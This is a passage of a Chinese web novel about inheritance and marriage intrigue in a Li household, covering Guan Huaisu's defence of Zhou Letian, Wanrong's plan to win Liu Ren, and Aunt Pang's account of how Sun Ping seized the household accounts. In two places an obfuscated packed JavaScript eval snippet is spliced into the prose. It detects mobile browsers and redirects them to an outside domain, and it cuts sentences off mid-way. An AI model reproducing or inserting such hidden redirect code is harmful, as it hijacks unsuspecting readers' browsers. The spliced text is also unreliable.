她身边的姑娘顿时也附和起来,连声点头说:“是啊,婉淑妹妹得赵夫人看中,真是让人羡慕。” 关怀素压根不在意这个事儿,但是婉蓉本来就妒恨婉淑,今儿看赵白芷风光大嫁,人走半天那嫁妆的队伍还没走完,心中已经越发妒恨。 这时候丽娘再激一下,就仿佛撞在了她的心口上。 婉蓉登时怒声冷笑,斜眼看丽娘一眼,冷声说:“是啊,大家都很有福气,就不知道丽娘妹妹也已经十六了,福气又在哪里呢?” 这话说得,叫丽娘又怒又羞,又是与婉蓉一场吵嘴。 关怀素听得头疼,假借要去更衣,起身离开宴客的小院。 她心中伤怀,也不愿意去吃酒吃饭,便干脆带着柳叶,一路顺着回廊走到了赵家最大的花园里,走到湖心亭里,关怀素坐下来,看着春雪化冻的池子,里面枯荷已经不在,里头竟是有抱蕊睡莲,绿意盈盈。 不但如此,远处垂柳嫩绿,随风摆动,此时坐在湖心亭,就仿佛坐在画中一般。 如此美景,关怀素却是微微叹了口气,忍不住轻声念:“扰扰马足车尘,被岁月无情,暗消年少。” 她原是独自感慨,或许找柳叶说说话,却没想到一开口,突然下头假山石里传来一道男子轻笑,而后说:“这原是感慨官场庸碌、一生磋磨的诗句,婉玉姑娘何故在此大喜的日子,突发寂寥之意呢?” 关怀素吓了一跳,站起来一看,才发现走出来的竟是前几日曾见过的刘仁。 “只是去年姐妹们还在这里聚在一起,今年便各分东西,日后许是再难齐聚一堂,心中一时感慨罢了。”关怀素心中戒备,马上起身请安,笑着滴水不漏地回答。 刘仁却仿佛丝毫未曾觉得,听她如此说完,反而一起感慨:“是啊,年少欢聚之乐,确实值得怀念。但只要是故人们都过得越来越好,那也总是好事。” 他这话说的年少意气,若不是赵白芷嫁的只有表面光鲜,关怀素还能赞同,可是许多事情又不好细说,关怀素便只能笑着点点头,做出一副说得有道理的意思。 而后刘仁又说起春日风景很好,关怀素含笑应了几句,刚想着找机会告辞,却听到刘仁突然压低声音说:“我刘仁自诩不算惹人讨厌,姑娘为何却瞧着一直对我颇为戒备?” 关怀素一愣,正想说什么,却猛地听到了一声哭叫,大喊:“你明知道我喜欢太子哥哥,为什么不帮我?你也不帮我,娘娘也不帮我,凭什么?我哪里输给赵白芷那个假模假样的人了?!” 这声音十分熟悉,一听就知道是福宁郡主。 关怀素和刘仁四目相对,都知道不好,立刻便想赶紧离开,可是那边已经来不及了,福宁郡主从长廊那边走下来,进了花园,很远就一眼看到了湖心亭的他们。 这可就尴尬了。 无法躲避,二人便只能站着,远远朝福宁郡主请安。 福宁郡主看了一眼关怀素,又看一眼刘仁,突然发疯一般大笑起来,指着周乐天说:“我当你是什么,原来你也和我一样,你喜欢的人背着你和你便宜弟弟私会!你也不过是个可怜虫罢了!哈哈哈哈哈、哈哈哈哈哈……” 她狂笑起来,完全不管自己一句话,到底造成了多大的冲击! 周乐天脸色乍青乍红,压低声音怒吼:“福宁,我看你真是醉糊涂了,什么话都敢乱说!” “我凭什么不敢说?”福宁郡主却怒吼着大骂,“我先前倒是忍着呢,但是有人把我当回事了吗?太子哥哥娶太子妃的时候,我忍了,凭什么,良娣也轮不到我!” “福宁!”周乐天真的怒了,厉声吩咐不远处的来福:“叫人来把她捆着送回宫里,给皇后娘娘亲自教导!” 那边来福立刻上前,告罪一声,马上抓着福宁郡主一路拖走,这回也不休息了,宴席也不参加了,直接拖着离开赵府。 关怀素眼睁睁地瞧着福宁郡主被拖走,而后看着周乐天走到了面前。 她一时有些尴尬,不知道说什么,却听到刘仁反而开口了,笑眯眯地拱手行礼,而后说:“草民见过小侯爷。” “行了,她知道你的身份。”周乐天却开口直接打断了他的话,直接说,“我跟她都说了。” 刘仁一愣,他眼神里的玩味益发明显,面上却不显,只笑着说:“大哥竟把这么重要的事情都告诉她了,看来,大哥是真的很喜欢婉玉姑娘。” “我喜欢谁,轮不到你来插嘴。”周乐天冷冷地看着刘仁,冷声说,“我只是要告诉你,不要把她拖到这烂摊子里面!” “什么烂摊子?我虽然不如大哥身份高贵,但是好歹也能有偌大家业,我还能带着她五湖四海地玩乐,不必被困于这四九城里。”刘仁却毫不示弱,句句扎周乐天的心,他冷声说,“何况我的身体很好,我不会冬季畏寒、夏季怕暑,我能健康地……” 刘仁这句话没说完,却被关怀素狠狠一个巴掌打断。 刘仁震惊地捂着脸看着关怀素,却看到关怀素用一种十分严肃的、冷厉的神色看着他,看到他的震惊时也怡然不惧,冷声说:“刘公子,我不懂您与侯爷的矛盾,我也不关心。只是您说什么都行,不要拿他的身体贬损他。” 看着刘仁不解的神色,关怀素认真地说:“这是侯爷为西北百姓受的伤,是为了守护百姓和大夏流的血,您不能这么侮辱一个英雄。” 此话一出,她身后方才还神色黯淡的周乐天登时一愣。 他看着挡在自己身前的人。 她神色看着非常冷静,但周乐天知道她并不是完全不畏惧刘仁的——她垂在身侧的手在微微颤抖。 她不是不害怕刘仁的报复、公主可能的厌弃,可是她却坚定地站出来维护他。 周乐天一瞬之间,突然觉得一切都无所谓了。 什么母亲的逼迫、刘仁的小动作和恶心,甚至世人的不解……都无所谓了。 他已经不介意了。 因为世上还有一个人,恰好还是他心悦之人,愿意为他在这种境况下站出来、如此坚定地维护他。 这便够了。 已经……完全足够了。 三人却没发现,在他们说话的时候,假山里面,从一开始就躲在最角落的婉蓉,却把一切都听了个清清楚楚。 她原是心中难受,拌嘴几句被孙大娘子呵斥,心中气不过便自己跑到花园里吹风。 却没想到听到了如此惊天大消息。 虽开始的时候大姐姐和那刘仁声音太低,根本听不清楚在说什么,可是后面刘仁叫小侯爷大哥,婉蓉可是听了个清清楚楚! 婉蓉捂住了嘴巴,一动不动,不敢发出一点声音。 直到三人都离开,过了好久好久,婉蓉才悄悄从假山里出去,一路回到宴席里。 她没有对任何人说起这件事情,哪怕丫鬟宝珠问起来,也一丝口风都没露。 她看着婉淑春风得意地跟着赵夫人学着待人接物,面上的神色从压抑慢慢变成了喜悦和狂热。 却不知道,那边孙大娘子听着心腹嬷嬷的话,也不动声色地看了婉蓉一眼。 螳螂与蝉,在此刻悄然就位。 第九十五章 婉淑生辰 婉蓉回家之后,便屏退所有人,只把这件事悄悄跟小娘说了,崔小娘一听,登时惊得帕子都差点掉在地上,吓得连声说,“哎哟喂,公主殿下常年在西北,驸马又在京师从未离开,难道……难道公主竟有了别的相好?” “小娘,那可是大长公主!”婉蓉有些生气,觉得自己小娘没见识,说,“你以为大长公主和一般女子一样,还需三从四德?公主有好几个得宠的相好呢!” 崔小娘一辈子都没经历过这种事情,连忙叫婉蓉:“女孩子家家的,相好什么的可不许说!” “好了小娘,我原是想跟你商量一下,你既然这样,我也就不说了。”婉蓉见她如此,便起身想走。 崔小娘连忙拦下她,问她是有什么想法。 婉蓉便期期艾艾地绞着帕子,把自己的想法说了。 刘仁此刻身份不明,假作商人议亲,虽不知是什么考虑,但是他既然好像是真的看上大姐姐,就说明他并不看重身份门第。 “那、那为什么不能是我呢?小娘!”婉蓉眼睛狂**发亮,开始她还有些扭捏,但是这个时候她已经完全激动起来,连声对着崔小娘说,“小娘你想想,如果是我嫁给刘仁,那可是小侯爷亲弟弟,未来未尝不是第二个侯爷!就算不是,大长公主还能亏待了自己的亲儿子不成?” 崔小娘一开始觉得婉蓉是在异想天开,可是听婉蓉说到这里,又觉得这确实是个香饽饽。 “可是……”崔小娘迟疑了一下,压低声音说,“你也说了,那刘仁对你大姐姐热切得很,这就算了,孙大娘子那边也是张罗着把这婚事说给你大姐姐呢。” “你看要是真让大娘子知道刘仁的身份,她还会不会张罗给大姐姐。”婉蓉对这一点看得很透彻,忙说,“再说了,我瞧着那刘仁对大姐姐热络,瞧着倒不是真的喜欢大姐姐,倒像是和小侯爷怄气呢!” 说到这里,婉蓉酸溜溜地说了句:“也不知道大姐姐是什么运气,我瞧着小侯爷竟真是对她有些上心的样子。” 崔小娘心中还是更关心婉蓉的婚事,便连忙说:“蓉儿,你的意思是,你有把握让那刘仁选你?” 婉蓉点头,轻声对崔小娘说:“小娘,反正我是不愿嫁那什么秀才的,婉淑嫁赵家,我若是嫁个秀才,日后只怕得给她跪着请安,但是嫁给刘仁可不一样了,日后再怎样,也不至于受什么闲气!” “再说了,我嫁得远了,日后小娘和弟弟有什么事情,天高皇帝远的,等我知道,只怕都一年半载,稀粥都凉了!”婉蓉看小娘还在犹豫,便立马抱着崔小娘撒娇,说,“若是我嫁得好,日后小娘和弟弟不也多个指望?!” 这话真真是说到了崔小娘的心坎里,她闻言立刻点头,心中最后一丝忧虑也丢弃了,立刻对婉蓉说:“你这话说得对,婉淑嫁得好,若是你嫁得差了,那辰瑜再长大点,只怕还不知道要借姐姐的势头怎么欺负你弟弟!” 说完崔小娘愈发觉得这事儿十分有道理,连忙叫姜妈妈进来开了箱笼,拿了许多金贵好看的布料给婉蓉,叫她多做新衣,又连连叮嘱她只管想好办法,二人商量好,便想着去老夫人那边探探口风。 老夫人见到婉蓉进来,便说:“可怜的,小脸都佝偻了。” 又叹口气,说:“既然和赵家的婚事定了婉淑,这事儿你便忘了吧。明儿个婉淑生辰,你就跟在我身边,到时候我帮你掌掌眼,看看你爹给你相看的人家。” “那秀才有什么好嫁的!”婉蓉闻言登时委屈了,在老夫人面前流眼泪,哽咽地说,“我也是您跟前长大的,也不比三妹妹差,何至于与三妹妹嫁得差那么多?” 老夫人叹了口气,说:“你是与三妹妹差不多,都是一家的女儿,哪有高低?但是咱们家只与赵家一家早早说上了亲事,其他的,自然只能在身份相同的人家择,丫头,你就当是人各有命,啊?” “祖母!”婉蓉闻言,登时眼泪更凶了,这是一辈子的大事,如何能认命啊? 可看老夫人神色,竟完全没有替她想别的办法的意思,婉蓉和崔小娘对视一眼,只能一起暗自压下要说的话。 老夫人完全不知,只觉得婉蓉可怜,又是安慰又是答应给她的嫁妆添妆,才勉强结束了这一天。 第二日一大早,家里便来了不少客人,当然,因是小女儿家生辰,并不算得上什么大事,因此来的客人都是家中极为亲近的亲朋。 唯一惹眼的,便是赵夫人亲至。 昨儿个太子良娣才出嫁,今儿赵夫人出门,众人纷纷起身迎接。 “哎哟哟,都是自家亲戚,可不能劳烦老夫人!”赵夫人与赵白芷都是一模一样的一团和气,见人三分笑,端庄之中自带着一股雍容华贵,此刻笑着亲自扶着老夫人坐下,仿佛浑然不知她那句“自家亲戚”叫众人如何心中侧目。 “没什么劳烦的,别看我这个年纪了,但是因我这孙女总是上心关切,日日在我跟前盯着衣食住行,我身体好得很呢。”老夫人这会子也是一脸笑容,整个人慈眉善目,瞧着仿佛万事不经心的老封君一般。 她笑着这么说,拍了拍身边的婉蓉,婉蓉便有些不好意思地笑了笑,轻声说:“侍奉长辈,本就是应该的,怎当得祖母如此夸奖。” 就这么一问一答之中,来的夫人们顿时神色之中都有了赞赏之意。 尤其是其中在坐的一位青衣妇人,本来似乎还有些打量婉蓉的意思,这时候脸上的神色一下子放松下来,看着婉蓉的样子都有了几分笑模样。 “姑娘,那青衣夫人就是吏部郎中家里的夫人,给她看的就是这家的三儿子,听说已经中了秀才,明年就要下场了。”柳叶在角落悄悄对关怀素说。 能在吏部做到一司郎中,绝对有些根底,要知道吏部每一司都掌握着官员功绩升迁,而且此人又与李家联姻,李珺如今作为考功司郎中,婉蓉嫁给这家的儿子,日后只需要榜上有名,有亲生父亲和岳父这两个吏部郎中联手协力,只怕从此绝对能一路青云直上。 至少绝对不需要去贫瘠之地苦苦挨功绩,更无需烦恼打点上峰、逢迎之事。 这么好的人家,若是往同济之中寻找,也多的是人愿意嫁女,李珺能为婉蓉争取下来,肯定也是许了人家不少好处。 “他对婉蓉还真是上心了。”关怀素忍不住叹了口气,轻声说:“婉蓉确实命好。” 不但李珺愿为她殚精竭力,便是性子刻薄的老夫人也疼爱她,愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338922|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意给她做个好名声。 没看老夫人几句话下来,那青衣夫人便脸色越来越带了笑模样吗? 日后婉蓉嫁过去,她长得漂亮,只要稍微收敛性子,婆母喜欢、夫君定然也爱重,眼看着是好日子。 “姑娘,庞大娘子脸色好难看啊!”正感慨呢,柳叶却突然又悄声说。 关怀素顺着话音望过去,就看到及笄的礼仪正要开始,赵夫人竟是亲自拔下头上的玉簪,稳稳地戴在了婉淑头上。 然后赵夫人笑着说:“这簪子是宫里赐下来的,我当时就想着,日后定要留给二郎的妻子。” 这话说完,众人虽昨儿看她带着婉淑,心中早已明白,这时候才算是一块大石头落地,知道这事儿今儿要过明路了。 果然赵夫人握着婉淑的手,笑着说:“你这孩子,素来最是端庄稳重,小小一个人,竟是处处妥帖,我瞧着就喜欢。” “能得夫人喜欢,也是淑儿一辈子的福气。”这时候婉淑满脸绯红,是不好说话的,孙大娘子立刻笑着说。 “那我便厚着脸皮,讨你家三姑娘为我二儿媳妇了?”赵夫人笑着打蛇随棍上,一句话说完,婉淑的脸已经羞得通红。 “我瞧着极好,二郎那孩子也是我看着长大的,我真是没一处不满意的。”此话说完,孙大娘子与赵夫人相视一笑,这事儿在此就过了明路,从此板上钉钉了。 在场众人都笑着祝福。 唯有庞家两个姨奶奶脸色都不好看,尤其是庞大娘子,瞧着竟是咬牙切齿,竟是一丝也没有掩饰的意思。 关怀素瞧着不像,也不躲了,悄悄过去,拉了拉庞大娘子。 庞大娘子浑身一震,这才发现自己失态了,她神色复杂地看了一眼关怀素,又垂眸看地上,瞬间又仿佛一个泥菩萨一般。 一旁庞家小姨母看到了这一幕,她很想勉强地挤出一个笑容,可是她虚胖浮肿的脸上努力地挤了好几次,到底挤不出笑,只垂头看着地上,眼里滴出几滴泪水,落在裙摆上,这小姨奶奶吓得连忙掐自己大腿,拿帕子擦泪水,生怕人看出来。 关怀素知道为什么,因为这小姨母开始想拿她卖人情给马夫人,而后被她戳破之后,事情黄了。 最后这小姨母没办法,她怕马家报复,她男人也怕,自然只能拿自己的女儿顶了这事儿,女儿被一顶轿子抬走,婚礼都没办,说是到了滁州再办,可是谁不知道这就是个场面话? 自己女儿被那浑人糟践,她倒是知道哭了,想着拿别人的女儿去巴结人的时候,就没这么好心呢。 关怀素并不同情这个小姨奶奶,但是对庞大娘子,她确实心中十分同情,瞧她神色实在是不济,便悄声说若是抵不住,可以去厢房休息。 庞大娘子点点头,也不作声,关怀素还以为她不愿意与自己说话,便也识趣地离开了。 这场生辰宴很快就结束了,关怀素回自己屋子之后,却万万没想到,迎来了一位特殊的客人。 “你说什么?”关怀素惊讶地问丁妈妈。 “庞家大姨奶奶说想见姑娘。”丁妈妈重复,压低声音说,“她叫姑娘若是得空,便去京师城门不远处的那酒楼,她在二楼等着姑娘。” 第九十六章 故人恨 关怀素自然是要去的。 到了地方,关怀素戴着帷帽下了车,就直接去了二楼的雅间。 一进门,看到庞大娘子正带着个中年妈妈坐在雅间里喝茶,关怀素一进门,还没问安,她就直接说:“不用费事了,前些日子那卖布的几个人总在我铺子面前打探,是你的手下吧?” 关怀素一愣,而后坦然一笑,说:“大姨母好敏锐。” “不是我敏锐,也是你压根没打算瞒我。”庞大娘子苦笑一下,摇摇头说,“我若是真的敏锐,何至于年少时同情孙萍那**,而后被她踩着名声上位,一生都毁了。” 关怀素坐下,庞大娘子的遭遇实在是太痛苦,她一时竟不知道怎么安慰她。 好在庞大娘子也不需要她安慰,她冷声怨毒地说:“当年她踩着我和小妹上位,我们吃了多年哑巴亏,一直没有证据。而且我原先想着,她上位之后,也一直照顾着小妹和我那弟弟,许多事情,我也不计较了。” 毕竟孙萍嫁的男人是在最最紧要的吏部考功司,她这辈子是没指望了,可二妹那男人也是托她的福,才谋了个捕快的活计,弟弟也是托这个关系,好歹混了个县令,不叫考了功名没个出路。 且天长日久的,只要她们小心忍着奉承着,未必不能等到李珺发达了,再拉拔他们一把。 若是如此,弟弟妹妹都有了出息,她这个长姐哪怕一辈子毁了,也算是对得起泉下的爹娘了。 庞大娘子一开始真的是这么想着的,所以刚得知李珺升了考功司郎中的时候,她心中十分喜悦,咬紧牙关,压根没打算对关怀素漏一点话。 “这几个月,我和二妹一直在找她,结果她一直推脱,弟弟本来今年好容易回京,他治下多年,颇有些功绩,尤其是去年雪灾,因我那弟弟做了许多实事,离任之时,还得了当地百姓所赠的万民伞……今年天时地利,若是稍微抬抬手,我弟弟便能留京了。可是她说递了话,最后我弟弟却又只是换了个地方当县令。”庞大娘子说到这里,已经压不住的怒火,眼圈都红了,咬牙说,“除了此事,还有我小妹的女儿,当初是孙萍那**听说小妹受马夫人所托,在寻找合适女子,先主动透出意思的!” “你说什么?”关怀素早知道孙大娘子心思恶毒,但是却没想到此事居然还有这个内情,一时震惊地说,“她主动揽下这事儿,后来又不管了,只叫小姨母拿自己的女儿填这人情?” “是。”庞大娘子说到这里,对屏风后说,“你还不滚出来!你这个蠢了一世的痴瓜!” 关怀素这才知道屏风后有人,抬头看过去,就看到屏风后头绕出来一个圆胖妇人,不是小姨母钱夫人又是谁? 钱夫人一出来就满脸泪水,几步上前“噗通”一声跪倒在了关怀素面前,声音含着颤意,对关怀素哭求:“大姑娘,是我猪油蒙了心,是我想占点便宜!可是那都是我的错,我家芸娘没错啊!求求大姑娘,我那日见到宋姑娘和你哭着说话,第二日就不见了,后来陆大儒就派了人给宋姑娘撑腰,她不用被卖去做妾了;还有大姑娘手底下有人在经商,家里人都不知道……我就知道大姑娘是个有本事的!求大姑娘帮忙,求大姑娘救救我的芸娘!只要大姑娘能救我的芸娘,便是叫我今儿在这里一头碰死,我也愿意!” 说完,小姨母便左顾右盼,竟真的是要自戕明志。 “行了。”关怀素皱眉说,“你害别人的女儿倒是得心应手,到了自家女儿身上,便知道心疼了?” “我这妹妹,自小任性愚蠢,她自小便是如此短视,看到一点好处,便看不到背后的危险,所以总是本末倒置,才叫我们如今到了现在这个样子。”庞大娘子主动开口,说话之中,许是历历在目这些年,言语之中也含着哽咽,她站起来,也跪在关怀素面前,颤抖着声音说,“原是她贪心在先,得什么结局都是咎由自取,可我舔着脸求大姑娘一次,我知道大姑娘想知道关娘子出事前后到底发生了什么事情……我都知道。” 关怀素等了这么久,查来查去,想要的就是这句话,闻言立刻眼神一凝,轻声说:“大姨母,你想好了,这消息你可以与我换很多东西。” “我就换芸娘回来。”庞大娘子抬头,眼里都是泪,她哀声说,“我这不争气的妹妹虽蠢笨,但是她一直汲汲营营地谋划,也是想让孩子们好过点。芸娘也是我自小看着长大,那马家可不是好相与的,我又如何忍心她被人磋磨糟践,死于异乡。大姑娘,只要您愿意帮忙,我便把我知道的所有事情,包括关娘子身边的乳母当初被卖在何处,全数告知您。” 关怀素早知道庞大娘子知晓许多当年之事,却不知道她竟然知道这么重要的事情,眼神一厉,连忙说:“你可不能框我,我阿娘去世到孙大娘子进门,中间隔了一年多,中间可不能有错漏。” “绝无错漏!孙萍进门之后,为了站稳脚跟,很是跟着清理了李家许多人和事,其中就有处理当初家里这掌事儿的妈妈和大丫鬟,才叫她拿住了李家。”庞大娘子直直看着关怀素,一脸坦荡地说,“许多事情都是当初我家陪嫁老仆亲眼所见!” 关怀素看得出来,她没有撒谎。 她回到李家就是为了这件事情,此刻当然不能错失这么重要的机会。 所以关怀素微微吐了口气,点头说:“可以。此事我会去办。” “好,那我便把当日之事全部告诉姑娘。”庞大姑娘便点头,就要起身说话,却被小姨母一把抓住,着急地带着哭腔说:“姐姐,先别说,得等芸娘回来了才能说啊!不然、不然……” 不然若是她答应了不兑现,那怎么办? 小姨母就是这么想的,但是她好歹记得不要在人面前这么说,及时止住了话头。 “你从小到大吃了那么多教训,怎么还是这么愚钝!”庞大娘子给这个妹妹气的心口一紧,差点没厥过去,一把抓住她的手就拍下去,怒声呵斥,“你既然不会看人就罢了,不要随便再得罪人了!” 小姨母还想说话,关怀素就开口了,说:“小姨母,大姨母是你的亲姐姐,她比你聪明、比你会看人,最重要的是,她是真心关心你。为了你日子好过,为了你女儿,她知道我想要的消息,没为自己谋一分利,都拿来帮你了。” 停顿一下,关怀素对着呆愣的小姨母说:“你应该信你的姐姐,她 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她性子非常利落,嫁去李家之后,家里宅邸和奴仆都是她一手操办,在李家威势甚重。 所以她刚去世那一年多,身边的老妈妈与大丫鬟一直帮着操持家务,便连李家老夫人和李珺都不能随便插手。 “李家人都说是孙萍进门之后,得了李珺给的庄子是不是?”庞大娘子冷笑一声,说,“根本不是!孙萍进门的时候,东西都掐在大丫鬟和关家妈妈手里,一个子儿都没漏出来!” 这和关怀素在家里打听的消息完全不一样,她惊讶地说:“可是满京师都这么说……” “是,满京师都这么说,毕竟十几年了,当初我是被人陷害,不也被人说是我和妹妹故意陷害孙萍那**么?”庞大娘子冷笑一声,说,“我以为大姑娘应该比我更懂这些弯弯道道。” 关怀素怎么能不懂,她连忙问:“那后来是怎么回事?” “孙萍那**阴得很,她进门之后,故意装着十分仰慕关娘子,并不争锋,只想管好自己的院子,关家那妈妈和丫鬟也和关娘子一般坦荡,竟真给她让了地方,只让她在家里做主,自己只守着大姑娘那院子好好过日子。孙萍趁机换了正院的家丁和妈妈,找了个机会,趁着大姑娘发热的时候,非说她们没照顾好大姑娘,叫家丁们冲进去,把二人毒打一顿,只剩一口气,你娘贴身大丫鬟当天就断气了,剩下老妈妈也不知还能不能活,当时是我那老仆瞧着可怜,加上那郑妈妈人老成精,给看守的人塞了金饼,才留了一口气被送出去,连夜发卖出京师了。”庞大娘子轻声说,“她们一被发卖,账簿与印章等等全数落到了孙萍手里,下面的人也不成气候,就这么散了。” 这便是当年孙大娘子得了庄子的真相。 不是她得了,是东西全都是她拿回来的,所以她能得庄子,能帮着打点家里所有钱财。 关怀素听到这里,已经是热泪盈眶,她起身,含泪说:“如此忠烈义士,竟被人如斯坑害,还请大姨母告诉我妈妈被卖到了何处,天涯海角,我关家人定也要找过去!” 第九十七章 过招 关怀素与庞大娘子说完话,也不回家,立刻去了程姨母家里,立刻叫姨母拨些人手,去找郑妈妈被卖到了何处。 结果一到县主府,刚进门,外头又传来嚎啕之声。 “娘子,陈家人又来了,说您若是不原谅他们,他们便在外头长跪不起。”丫鬟从外头进来,轻声为难地说。 “怎么回事?”关怀素听着这里头似乎不对,忙问,“陈家人?是之前姨父大伯家?他们之前不是走了,怎地又回来了?” 问完关怀素自己反应过来了,便冷声说:“姨母你得封县主,一年封地送上来的嚼用丰厚,他们是眼热了?” “可不是,那一家子混账泼皮,原先上门打杀不敢了,偏换了个在门口跪哭的法子,若是赶人,又怕打伤了,叫他们拿住把柄,显得咱们娘子一朝得势不饶人,可若是不赶,他们日日这么跪着哭,到底难看。”金妈妈闻言立刻诉苦,对关怀素说,“姑娘不知道,这都闹了个把月了,啥方法都试过了,都没用!” 关怀素闻言,立刻对程娘子说,“姨母,你如今家大业大,这人只有千日做贼,哪有千日防贼的?您还是得赶紧考虑一下,尽快过继孩子,而且不能只是一个,若只得一个小儿,怕人动歪心思,你便过继两三个,那些人瞧着您后继有人,自然也就散了。” “姑娘说得何尝不是!”金妈妈闻言立刻说,“这事儿我年头娘子才得封就说了,可娘子却说担心自己过继了孩子,姑娘觉得自己没了去处,到时候叫姑娘心中凄苦,便死活不愿!” 关怀素闻言心中大震,眼圈立刻便红了。 “我早知道姨母疼我,却没想到姨母竟为了我……”她说到这里,也是哽咽,拿帕子压了压眼角,埋怨地说,“姨母视我为亲女儿,对我来说姨母又何尝不是与亲娘无异?可若我是亲生的,我都要催促您赶紧过继子嗣,不为别的,若日后弟妹长成,也算是我有了个助力,您和姨父也能安稳后半生。姨母在此事上可千万不要糊涂才是啊!” 程娘子听到这里,眼圈也红了,拉着关怀素哽咽说:“可是我怕过继了孩子,到时候事情多了,难免对你有些疏漏,你这孩子以前心思重,近日才好了些,若我过继了子嗣,叫你心灰意冷,那我以后有何颜面去见地下的素素和伯父啊!” “姨母,我不会的!我知道姨母疼我,日后若您忘了我,我也会日日上门,您赶我我也不走!”关怀素说到这里,眼泪一串串地下来,又哭又笑。 她少时父母俱亡,一部分亲人之憾,在关怀素心中,她以为是永远不可被弥补的。 可是在这一刻,在得知程娘子为了自己,竟连过继子嗣都不愿意,她心中的那个属于“母亲”的缺口,在这一刻真实地、完整地被补齐了。 她不知为何,这时候本该欢喜的,却一扁嘴,眼泪成串儿地掉下来,竟是擦也擦不干净。 关怀素有些不好意思,哑声说:“奇怪,我心里开心,为何却一直掉眼泪?” 程娘子叹了口气,摸着她的头发,温声说:“你这孩子,日子过得多不容易,谁不知道?你啊,哭一下也好,日日都那么谨慎、处处从不出错,我看着才叫真心疼。” 这就是真的只会跟自家人说的私房话,关怀素拼命拿帕子压住泪水,才将将冷静下来,认真地说起过继的事儿,问:“是好事,我不哭,姨母可想好了,到时候往哪里找过继的孩儿?” “你呀,和你娘一个样子,都是个倔强的。”程娘子叹了口气,也不多劝,只说,“按理说,我们该在两家族亲里头找过继的,可程家本就没什么亲眷了。你姨父如今宗族也就剩外头那泼皮无赖一家,我和你姨父死也不会从他们那儿过继孩子的。” 这些都是关怀素知道的,她点头,说:“那姨母是想从善堂抱养?” 程娘子叹气,说:“善堂不行,之前我和你姨父去善堂,才去了一次,那家无赖就去善堂找麻烦,闹得善堂鸡犬不宁,后来善堂没办法,只能拒了我们。” 听到这里,关怀素灵光一闪,说:“今年南方遭了灾,京师里来了许多流民,许就有无父无母的孤儿,我给姨母你打探一下,若是有,便悄悄接回来,去官府记名之后,那家人没了指望,自然就散了。” 她这么一说,张妈妈登时喜不自胜,含泪说:“要说怪不得娘子疼姑娘,姑娘也是实打实地为娘子着想啊!” 程娘子如今每年俸禄丰厚,身份高贵,换了个心肠差一点的,只怕恨不得程娘子无后,自然什么东西都给自己留着。 可是关怀素不但主动促成,且在遇到难处的时候还处处帮着想办法,竟是真心实意想替姨母安排好下半辈子的指望,这才是真正把程娘子也当家人关切。 说完这事儿,关怀素把找郑妈妈的事情说了就匆匆回家去。 张妈妈忍不住感慨:“娘子真是没白疼姑娘,姑娘不但贴心,人品也是一等一的好。” 偌大家业竟都可以抛之脑后,这不是一般气度。 程娘子看着马车离去的背影,轻声说:“那可是伯父和素素的女儿,自然心性品貌都是一等一的好。” 说完她说:“孙萍那女儿订了婚事,定然是想加紧把婉玉的事儿定下来,我怕她们要弄些歪门邪道害了婉玉,你帮我盯着点。” “哎。”张妈妈轻声说,“娘子放心,我盯着呢,若是有什么事情,一准立刻报给您。” 程娘子这才放下心来。 关怀素忙活的时候,李家,孙萍也不快活。 送走宾客,她神色冷下来,对扶芳说:“今儿二丫头看淑儿的神色不对。” 扶芳点头,一边按孙萍的肩膀,一边轻声说:“赵夫人给咱们姑娘送簪子的时候,二姑娘眼神瞧着吓人得很。” “那不是个省心的,留在家里总容易生变故。”孙萍眯着眼睛,轻声说,“得想个办法,叫她别坏了我淑儿的好事。” 扶芳一听,撇嘴说:“今儿来的那位夫人,不就是老爷给二姑娘相看的那家?我听说那家里也是官宦人家,家风极其清正,二姑娘难道还看不上?” 孙萍一听,冷笑说:“她和她娘眼光都高的很,这家家风清正,不纳妾不收通房,公婆也是恩爱和睦人家。若没有赵家,便是淑儿嫁过去,我都是十分愿意的。只是那边母子都不是个长远过日子的人,只怕心中还有别的打算。” 扶芳迟疑问:“娘子的意思是?” “前几日刘仁不是给家里送了一批江南来的单纱么?你叫人全部拿出来,明儿个叫人来,也是做新夏衣的时候了。”孙大娘子想了想,立刻便有了打算,笑着眯了眯眼睛,说,“得亏你跟过去,听到刘仁的身份,他既然有那来历,给大丫头确实也是个麻烦,二丫头既然想着,全了她的心思也不要紧。” 扶芳一听,有些惊讶地说:“可是娘子,大姑娘是因为有公主殿下这层关系在,才能有这桩姻缘,换成二姑娘……她怎么想的,这事儿怎么看都不可能成啊!” “管她成不成,只看她想不想。”孙萍冷笑一声,说,“反正闹出事情,大丫头这事儿成不了就行。” 扶芳闻言,立刻明白了孙大娘子的意思。 二人说完,孙萍扶了扶鬓边的花,轻声说:“给我换个簪子,这个太老气了些。叫人看看老爷那边有没有空,就跟他说,后天就是寒食节了,我想跟他商量一下,安排下寒食节带家里人去流云台寺祈福的事儿。” “是。”扶芳答应着,使了个眼色叫人出去,自己拉开妆枢,温声与孙大娘子挑起新的发簪来。 那头李珺下值,进了宁双双的院子,却见她并不出来迎接,只坐在纱帘里侧身坐着。 李珺调笑:“美人卷珠帘,深坐颦蛾眉,但见泪痕湿,不知心恨谁?” 宁双双跟着李珺开蒙,专攻诗书,听到这里,在纱帘里轻声回说:“薄幸郎君何日到,想自当初,莫要相逢好。” 李珺见她如此,显然是真伤心了,立刻掀帘子进去,着急地问:“怎地了,谁惹你生气了?” 宁小娘不肯说话,云青委屈地说:“这几日小娘说身子有些发寒,想吃些桃胶炖鸡补身子,我连着几日去厨房,都说桃胶都给西院了,咱们院子没份例,后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“回老爷,是库房的人。”云青立刻说,“我想着去库房那边,请他们采买些桃胶,被他们讥讽一通,偏小娘出来,刚巧都听到了,小娘伤怀,今日一直水米未进。” 